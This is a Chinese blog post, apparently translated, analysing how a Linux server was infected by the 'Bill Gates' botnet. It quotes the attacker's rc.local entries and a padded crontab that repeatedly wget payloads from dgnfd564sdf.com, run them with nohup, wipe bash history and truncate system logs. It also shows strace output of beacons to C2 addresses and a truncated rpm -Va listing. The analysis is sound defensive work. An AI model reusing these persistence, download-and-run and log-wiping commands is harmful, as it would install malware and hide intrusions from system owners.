基于Linux根据僵尸网络病毒平台《比尔盖茨》

感觉分析的非常好，所以决定翻译出来，希望和大家多多交流O(∩_∩)O~

转载请注明出处：http://blog.csdn.net/u010484477 O(∩_∩)O谢谢

keyword：病毒。linux，信息安全

我昨天写的日志里面提到，家用路由器在x86的CentOS系统下奇怪的自己行动，像是在自己载入处理器。

于是我决定爬上去看看。在那里发生了什么，然后我立即意识到有人爬到server和挂在进程中的dgnfd564sdf.com。主要是以下几个方面atddd,cupsdd,cupsddh,
ksapdd, kysapdd, skysapdd ,
xfsdxd等等

root      4741  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/sksapd
root      4753  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/xfsdx
root      4756  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/cupsdd
root      4757  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/kysapd
root      4760  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/ksapd
root      4764  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/atdd
root      4767  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/skysapd

启动分析：

起初我摸索着看。究竟是什么让我的电脑如此的妥协。第一件事，我想到/ etc / rc.local检查。有例如以下：

cd /etc;./ksapdd
cd /etc;./kysapdd
cd /etc;./atddd
cd /etc;./ksapdd
cd /etc;./skysapdd
cd /etc;./xfsdxd

“嗯，我想从root那下手。就像这样：

# crontab -e
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
…
*/1 * * * * killall -9 nfsd4
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.
…
*/1 * * * * killall -9 profild.key
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
…
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
…
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
…
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
…
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
…
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg
*/1 * * * * cd /var/log > auth.log
*/1 * * * * cd /var/log > alternatives.log
*/1 * * * * cd /var/log > boot.log
*/1 * * * * cd /var/log > btmp
*/1 * * * * cd /var/log > cron
…
…
*/1 * * * * cd /var/log > cups
*/1 * * * * cd /var/log > daemon.log
*/1 * * * * cd /var/log > dpkg.log
*/1 * * * * cd /var/log > faillog
*/1 * * * * cd /var/log > kern.log
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog
*/1 * * * * cd /var/log > user.log
*/1 * * * * cd /var/log > Xorg.x.log
*/1 * * * * cd /var/log > anaconda.log
*/1 * * * * cd /var/log > yum.log
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c
…
# Edit this file to introduce tasks to be run by cron.
#
# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.

哦。

他是183кб4036大小，行。

你见过183кб crontab的大小吗？就像我所示这样。

当我进入到server，这些过程已经不是什么都不做（不被处理器，没有使用网络）。

他们已经决定停止运行，恢复业务，不让这些现有的特征一直存在，防止被人发现。他们的strace命令就是这种：

[root@Fatalsrv etc]# strace -p 3312
Process 3312 attached - interrupt to quit
[ Process PID=3312 runs in 32 bit mode. ]
restart_syscall(<... resuming interrupted call ...>) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)
close(3)                                = 0
nanosleep({15, 0}, NULL)                = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused)
close(3)                                = 0
nanosleep({15, 0}, [root@Fatalsrv etc]# strace -p 3268
Process 3268 attached - interrupt to quit
[ Process PID=3268 runs in 32 bit mode. ]
recv(3, 0xfff19338, 4, 0)               = -1 ECONNRESET (Connection reset by peer)
close(3)                                = 0
futex(0x816e8a8, FUTEX_WAKE, 1)         = 1
futex(0x816e8a4, FUTEX_WAKE, 1)         = 1
nanosleep({15, 0}, NULL)                = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("112.90.22.197")}, 16) = -1 EINPROGRESS (Operation now in progress)
fcntl64(3, F_GETFL)                     = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR)             = 0
setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = 401
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0
recv(3, "\4\0\0\0", 4, 0)               = 4
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 27, 0) = 27
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0
recv(3, "\4\0\0\0", 4, 0)               = 4
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0
send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0", 27, 0) = 27
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0
recv(3, ^C <unfinished ...>
Process 3268 detached

在这个过程看起来他们差点儿什么都没做，仅仅是偶尔进行的数据採集。当然。他们也刷了刷/ etc / rc.local crontab，这些可运行文件（他们都有SUID位，使得他们有能力进行他们想做的事，可是他为什么没有删除，也没有改变？）。仅仅是刷了/ etc /profile

unset MAILCHECK

这意味着在计算机上的僵尸网络是大约7小时。可能实际上没有那么多。但不低。

如今须要检查是否已改动不论什么系统文件。在CentOS这足够的运行：

rpm -Va

我非常高兴该命令输出了和我预想一样的东西：

[root@Fatalsrv ~]# rpm -Va
S.5....T.  c /etc/ppp/chap-secrets
S.5....T.  c /etc/issue
S.5....T.  c /etc/crontab
S.5....T.  c /etc/nagiosgraph/access.conf
S.5....T.  c /etc/nagiosgraph/nagiosgraph.conf
.M.......    /usr/lib/nagiosgraph/cgi-bin/show.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showconfig.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showgraph.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showgroup.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showhost.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/showservice.cgi
.M.......    /usr/lib/nagiosgraph/cgi-bin/testcolor.cgi
.M.......    /usr/share/nagiosgraph/htdocs/nagiosgraph.css
.M.......    /usr/share/nagiosgraph/htdocs/nagiosgraph.js
S.5....T.    /var/log/nagiosgraph/nagiosgraph-cgi.log
S.5....T.    /var/log/nagiosgraph/nagiosgraph.log
missing     /usr/java/jre1.7.0_40/lib/install.jar
....L....    /lib/modules/2.6.32-358.2.1.el6.x86_64/build
S.5....T.  c /etc/tor/torrc
.M.......    /
.......T.  c /etc/ppp/options.pptpd
S.5....T.  c /etc/pptpd.conf
....L....  c /etc/pam.d/fingerprint-auth
....L....  c /etc/pam.d/password-auth
....L....  c /etc/pam.d/smartcard-auth
....L....  c /etc/pam.d/system-auth
S.5....T.  c /etc/rsyslog.conf
S.5....T.  c /etc/rc.d/rc.local
..5....T.  c /etc/sysctl.conf
S.5....T.  c /etc/vsftpd/vsftpd.conf
.M.......    /var/ftp/pub
..5....T.  c /etc/sysconfig/PlexMediaServer
.......T.    /usr/lib/plexmediaserver/start.sh
S.5....T.  c /etc/sysconfig/lm_sensors
S.5....T.  c /etc/php.ini
S.5....T.  c /etc/httpd/conf/httpd.conf
.......T.    /etc/rc.d/init.d/deluge-daemon
S.5....T.  c /etc/cacti/db.php
S.5....T.  c /etc/cron.d/cacti
S.5....T.  c /etc/httpd/conf.d/cacti.conf
.M.......    /usr/share/cacti
.M.......    /usr/share/cacti/about.php
.M.......    /usr/share/cacti/auth_changepassword.php
.M.......    /usr/share/cacti/auth_login.php
.M.......    /usr/share/cacti/cdef.php
.M.......    /usr/share/cacti/cmd.php
.M.......    /usr/share/cacti/color.php
.M.......    /usr/share/cacti/data_input.php
.M.......    /usr/share/cacti/data_queries.php
.M.......    /usr/share/cacti/data_sources.php
.M.......    /usr/share/cacti/data_templates.php
.M.......    /usr/share/cacti/gprint_presets.php
.M.......    /usr/share/cacti/graph.php
.M.......    /usr/share/cacti/graph_image.php
.M.......    /usr/share/cacti/graph_settings.php
.M.......    /usr/share/cacti/graph_templates.php
.M.......    /usr/share/cacti/graph_templates_inputs.php
.M.......    /usr/share/cacti/graph_templates_items.php
.M.......    /usr/share/cacti/graph_view.php
.M.......    /usr/share/cacti/graph_xport.php
.M.......    /usr/share/cacti/graphs.php
.M.......    /usr/share/cacti/graphs_items.php
.M.......    /usr/share/cacti/graphs_new.php
.M.......    /usr/share/cacti/host.php
.M.......    /usr/share/cacti/host_templates.php
.M.......    /usr/share/cacti/images
.M.......    /usr/share/cacti/images/arrow.gif
.M.......    /usr/share/cacti/images/auth_deny.gif
.M.......    /usr/share/cacti/images/auth_login.gif
.M.......    /usr/share/cacti/images/auth_logout.gif
.M.......    /usr/share/cacti/images/button_add.gif
.M.......    /usr/share/cacti/images/button_cancel.gif
.M.......    /usr/share/cacti/images/button_cancel2.gif
.M.......    /usr/share/cacti/images/button_clear.gif
.M.......    /usr/share/cacti/images/button_colapse_all.gif
.M.......    /usr/share/cacti/images/button_create.gif
.M.......    /usr/share/cacti/images/button_default.gif
.M.......    /usr/share/cacti/images/button_delete.gif
.M.......    /usr/share/cacti/images/button_expand_all.gif
.M.......    /usr/share/cacti/images/button_export.gif
.M.......    /usr/share/cacti/images/button_go.gif
.M.......    /usr/share/cacti/images/button_help.gif
.M.......    /usr/share/cacti/images/button_import.gif
.M.......    /usr/share/cacti/images/button_no.gif
.M.......    /usr/share/cacti/images/button_purge.gif
.M.......    /usr/share/cacti/images/button_refresh.gif
.M.......    /usr/share/cacti/images/button_save.gif
.M.......    /usr/share/cacti/images/button_view.gif
.M.......    /usr/share/cacti/images/button_yes.gif
.M.......    /usr/share/cacti/images/cacti_about_logo.gif
.M.......    /usr/share/cacti/images/cacti_backdrop.gif
.M.......    /usr/share/cacti/images/cacti_backdrop2.gif
.M.......    /usr/share/cacti/images/cacti_logo.gif
.M.......    /usr/share/cacti/images/calendar.gif
.M.......    /usr/share/cacti/images/delete_icon.gif
.M.......    /usr/share/cacti/images/delete_icon_large.gif
.M.......    /usr/share/cacti/images/disable_icon.png
.M.......    /usr/share/cacti/images/enable_icon.png
.M.......    /usr/share/cacti/images/enable_icon_disabled.png
.M.......    /usr/share/cacti/images/favicon.ico
.M.......    /usr/share/cacti/images/graph_page_top.gif
.M.......    /usr/share/cacti/images/graph_properties.gif
.M.......    /usr/share/cacti/images/graph_query.png
.M.......    /usr/share/cacti/images/graph_zoom.gif
.M.......    /usr/share/cacti/images/hide.gif
.M.......    /usr/share/cacti/images/install_icon.png
.M.......    /usr/share/cacti/images/install_icon_disabled.png
.M.......    /usr/share/cacti/images/left_border.gif
.M.......    /usr/share/cacti/images/menu_line.gif
.M.......    /usr/share/cacti/images/menuarrow.gif
.M.......    /usr/share/cacti/images/move_down.gif
.M.......    /usr/share/cacti/images/move_left.gif
.M.......    /usr/share/cacti/images/move_right.gif
.M.......    /usr/share/cacti/images/move_up.gif
.M.......    /usr/share/cacti/images/reload_icon_small.gif
.M.......    /usr/share/cacti/images/shadow.gif
.M.......    /usr/share/cacti/images/shadow_gray.gif
.M.......    /usr/share/cacti/images/show.gif
.M.......    /usr/share/cacti/images/tab_cacti.gif
.M.......    /usr/share/cacti/images/tab_console.gif
.M.......    /usr/share/cacti/images/tab_console_down.gif
.M.......    /usr/share/cacti/images/tab_graphs.gif
.M.......    /usr/share/cacti/images/tab_graphs_down.gif
.M.......    /usr/share/cacti/images/tab_mode_list.gif
.M.......    /usr/share/cacti/images/tab_mode_list_down.gif
.M.......    /usr/share/cacti/images/tab_mode_preview.gif
.M.......    /usr/share/cacti/images/tab_mode_preview_down.gif
.M.......    /usr/share/cacti/images/tab_mode_tree.gif
.M.......    /usr/share/cacti/images/tab_mode_tree_down.gif
.M.......    /usr/share/cacti/images/tab_settings.gif
.M.......    /usr/share/cacti/images/tab_settings_down.gif
.M.......    /usr/share/cacti/images/transparent_line.gif
.M.......    /usr/share/cacti/images/uninstall_icon.gif
.M.......    /usr/share/cacti/images/view_none.gif
.M.......    /usr/share/cacti/include
.M.......    /usr/share/cacti/include/auth.php
.M.......    /usr/share/cacti/include/bottom_footer.php
.M.......    /usr/share/cacti/include/global.php
.M.......    /usr/share/cacti/include/global_arrays.php
.M.......    /usr/share/cacti/include/global_constants.php
.M.......    /usr/share/cacti/include/global_form.php
.M.......    /usr/share/cacti/include/global_settings.php
.M.......    /usr/share/cacti/include/jscalendar
.M.......    /usr/share/cacti/include/jscalendar/calendar-setup.js
.M.......    /usr/share/cacti/include/jscalendar/calendar.js
.M.......    /usr/share/cacti/include/jscalendar/lang
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-af.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-al.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-bg.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-big5-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-big5.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-br.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ca.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-cs-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-cs-win.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-da.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-de.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-du.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-el.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-en.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-es.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-fi.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-fr.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-he-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-hr-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-hr.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-hu.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-it.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-jp.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ko-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ko.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-lt-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-lt.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-lv.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-nl.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-no.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-pl-utf8.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-pl.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-pt.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ro.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ru.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-ru_win_.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-si.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-sk.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-sp.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-sv.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-tr.js
.M.......    /usr/share/cacti/include/jscalendar/lang/calendar-zh.js
.M.......    /usr/share/cacti/include/jscalendar/lang/cn_utf8.js
.M.......    /usr/share/cacti/include/layout.js
.M.......    /usr/share/cacti/include/main.css
.M.......    /usr/share/cacti/include/plugins.php
.M.......    /usr/share/cacti/include/top_graph_header.php
.M.......    /usr/share/cacti/include/top_header.php
.M.......    /usr/share/cacti/include/treeview
.M.......    /usr/share/cacti/include/treeview/ftiens4.js
.M.......    /usr/share/cacti/include/treeview/ftiens4_export.js
.M.......    /usr/share/cacti/include/treeview/ftv2blank.gif
.M.......    /usr/share/cacti/include/treeview/ftv2lastnode.gif
.M.......    /usr/share/cacti/include/treeview/ftv2mlastnode.gif
.M.......    /usr/share/cacti/include/treeview/ftv2mnode.gif
.M.......    /usr/share/cacti/include/treeview/ftv2node.gif
.M.......    /usr/share/cacti/include/treeview/ftv2plastnode.gif
.M.......    /usr/share/cacti/include/treeview/ftv2pnode.gif
.M.......    /usr/share/cacti/include/treeview/ftv2vertline.gif
.M.......    /usr/share/cacti/include/treeview/ua.js
.M.......    /usr/share/cacti/include/zoom.js
.M.......    /usr/share/cacti/index.php
.M.......    /usr/share/cacti/install
.M.......    /usr/share/cacti/install/0_8_1_to_0_8_2.php
.M.......    /usr/share/cacti/install/0_8_2_to_0_8_2a.php
.M.......    /usr/share/cacti/install/0_8_2a_to_0_8_3.php
.M.......    /usr/share/cacti/install/0_8_3_to_0_8_4.php
.M.......    /usr/share/cacti/install/0_8_4_to_0_8_5.php
.M.......    /usr/share/cacti/install/0_8_5a_to_0_8_6.php
.M.......    /usr/share/cacti/install/0_8_6_to_0_8_6a.php
.M.......    /usr/share/cacti/install/0_8_6c_to_0_8_6d.php
.M.......    /usr/share/cacti/install/0_8_6d_to_0_8_6e.php
.M.......    /usr/share/cacti/install/0_8_6f_to_0_8_6g.php
.M.......    /usr/share/cacti/install/0_8_6g_to_0_8_6h.php
.M.......    /usr/share/cacti/install/0_8_6h_to_0_8_6i.php
.M.......    /usr/share/cacti/install/0_8_6j_to_0_8_7.php
.M.......    /usr/share/cacti/install/0_8_7_to_0_8_7a.php
.M.......    /usr/share/cacti/install/0_8_7a_to_0_8_7b.php
.M.......    /usr/share/cacti/install/0_8_7b_to_0_8_7c.php
.M.......    /usr/share/cacti/install/0_8_7c_to_0_8_7d.php
.M.......    /usr/share/cacti/install/0_8_7d_to_0_8_7e.php
.M.......    /usr/share/cacti/install/0_8_7e_to_0_8_7f.php
.M.......    /usr/share/cacti/install/0_8_7f_to_0_8_7g.php
.M.......    /usr/share/cacti/install/0_8_7g_to_0_8_7h.php
.M.......    /usr/share/cacti/install/0_8_7h_to_0_8_7i.php
.M.......    /usr/share/cacti/install/0_8_7i_to_0_8_8.php
.M.......    /usr/share/cacti/install/0_8_8_to_0_8_8a.php
.M.......    /usr/share/cacti/install/0_8_to_0_8_1.php
.M.......    /usr/share/cacti/install/index.php
.M.......    /usr/share/cacti/install/install_finish.gif
.M.......    /usr/share/cacti/install/install_next.gif
.M.......    /usr/share/cacti/lib
.M.......    /usr/share/cacti/lib/adodb
.M.......    /usr/share/cacti/lib/adodb/adodb-csvlib.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-datadict.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-error.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-errorhandler.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-errorpear.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-exceptions.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-iterator.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-lib.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-pear.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-perf.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-php4.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-time.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb-xmlschema.inc.php
.M.......    /usr/share/cacti/lib/adodb/adodb.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-access.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-db2.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-firebird.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-generic.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-ibase.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-informix.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-mssql.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-mysql.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-oci8.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-postgres.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-sapdb.inc.php
.M.......    /usr/share/cacti/lib/adodb/datadict/datadict-sybase.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-access.inc.php
